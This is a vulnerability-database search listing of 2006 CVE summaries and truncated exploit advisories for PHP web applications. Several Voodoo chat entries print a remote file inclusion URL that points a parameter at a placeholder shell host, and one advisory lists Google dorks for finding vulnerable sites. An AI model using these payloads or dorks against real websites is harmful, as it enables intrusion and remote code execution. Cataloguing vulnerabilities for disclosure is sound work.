7229 matches found
CVE-2006-4043
index.php in myWebland myBloggie 2.1.4 and earlier allows remote attackers to obtain sensitive information via a query that only specifies the viewdate mode, which reveals the table prefix in a SQL error message...
CVE-2006-4043
CVE-2006-4043 affects myWebland myBloggie 2.1.4 and earlier. The issue allows remote attackers to obtain sensitive information by crafting a query that only specifies the viewdate mode, causing an SQL error message that reveals the table prefix. This is a data disclosure vulnerability in the appl...
CVE-2006-4047
CVE-2006-4047 affects Netious CMS 0.4 and earlier. The vulnerability is a SQL injection in index.php via the username parameter, enabling remote execution of arbitrary SQL commands. The linked records also reference a variant described for Netious CMS 0.4, with the root cause being improper input...
CVE-2006-3584
CVE-2006-3584 affects Jetbox CMS 2.1 SR1. The vulnerability is in index.php where inputs passed in the URL are evaluated as PHP variable variables, allowing remote attackers to overwrite configuration variables. This is caused by improper handling/sanitization of URL parameters and can lead to di...
phpPrintAnalyzer <= 1.1 (rep_par_rapport_racine) Remote File Inclusion Vulnerability
--------------------------------------------------------------------------------------- phpPrintAnalyzer 1.1 repparrapportracine Remote File Inclusion --------------------------------------------------------------------------------------- Author : Sh3ll Date : 2006/04/27 Location : Iran - Tehran...
CVE-2006-4008
The CVE-2006-4008 entry concerns Knusperleicht Faq 1.0, where a PHP remote file inclusion flaw allows an attacker to cause arbitrary PHP code execution via a URL supplied in the faq_path parameter. This describes a network-accessible vulnerability in index.php that can be triggered by crafting th...
CVE-2006-3991
PHP remote file inclusion vulnerability in index.php in Vlad Vostrykh Voodoo chat 1.0RC1b and earlier allows remote attackers to execute arbitrary PHP code via a URL in the filepath parameter...
OZJournal v1.5 - XSS
OZJournal v1.5 Homepage: http://ozjournals.awardspace.com/index.php Affected files: search input box index.php viewing archives show comment page ---------------------------------------- XSS vulnerability via search input box: Data isn't properly sanatized before being displayed. For a PoC in the...
NewsLetter v3.5 <= (NL_PATH) Remote File Inclusion Exploit
================================================================= NewsLetter v3.5 = NLPATH Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site : http://wolfsecurity.org | | Version : 3.5 | |...
SQL-Injection in site@x
Advisory: SQL-Injection in site@x all version Home Page: http://x.cms.ru Уязвимость /Vulnerability: SQL-injection Уязвимый скрипт/Vulnerable script: index.php http://www.ncb.ru/index.php?serverid=root&objid=461SQL Copyright © Cyber Lords Community www.cyberlords.net...
Voodoo chat <= 1.0RC1b (file_path) Remote File Inclusion Vulnerability
No description provided by source. ================================================================= Voodoo chat 1.0RC1b = filepath Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site : http://vochat.com/ | |...
Voodoo chat <= 1.0RC1b (file_path) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ====================================================================== Voodoo chat ================================================================= Exploit : -------------------------------- http://sitename.com/Script...
Voodoo chat 1.0RC1b - file_path Remote File Inclusion
Voodoo chat 1.0RC1b - filepath Remote File Inclusion ================================================================= Voodoo chat 1.0RC1b ================================================================= Exploit : -------------------------------- http://sitename.com/Script...
k_fileManager <= 1.2 (dwl_include_path) Remote Inclusion Vulnerability
No description provided by source. ================================================================= KfileManager v1.2 = dwlincludepath Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site :...
NewsLetter <= 3.5 (NL_PATH) Remote File Inclusion Vulnerability
No description provided by source. ================================================================= NewsLetter v3.5 = NLPATH Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site : http://knusperleicht.at/ | |...
Voodoo chat 1.0RC1b - 'file_path' Remote File Inclusion
================================================================= Voodoo chat 1.0RC1b ================================================================= Exploit : -------------------------------- http://sitename.com/Script Path/index.php?filepath=http://SHELLURL.COM?...
CVE-2006-3919
SQL injection vulnerability in index.php in SD Studio CMS allows remote attackers to execute arbitrary SQL commands via the 1 newsid, 2 tid, and 3 pageid parameters...
WMNewsInclude.txt
Advisory: WMNews Remote File Include Vulnerability Release Date: 2006/07/26 Author: uNfz Critical Level: High Contact: [email protected] Vendor: Warta Mikael -------------------- -------------------- Searching / Dork: allinurl: .php?Artid= allinurl: .php?ArtCat= allinurl: wmprint.php allinurl:...
CVE-2006-3919
SQL injection vulnerability in index.php in SD Studio CMS allows remote attackers to execute arbitrary SQL commands via the 1 newsid, 2 tid, and 3 pageid parameters...
CVE-2006-3919
CVE-2006-3919 concerns a SQL injection in SD Studio CMS, specifically in index.php. The vulnerability allows remote attackers to inject arbitrary SQL through the parameters (1) news_id, (2) tid, and (3) page_id. CVSS v2 base score is 7.5 (HIGH) with network attack vector, low attack complexity, n...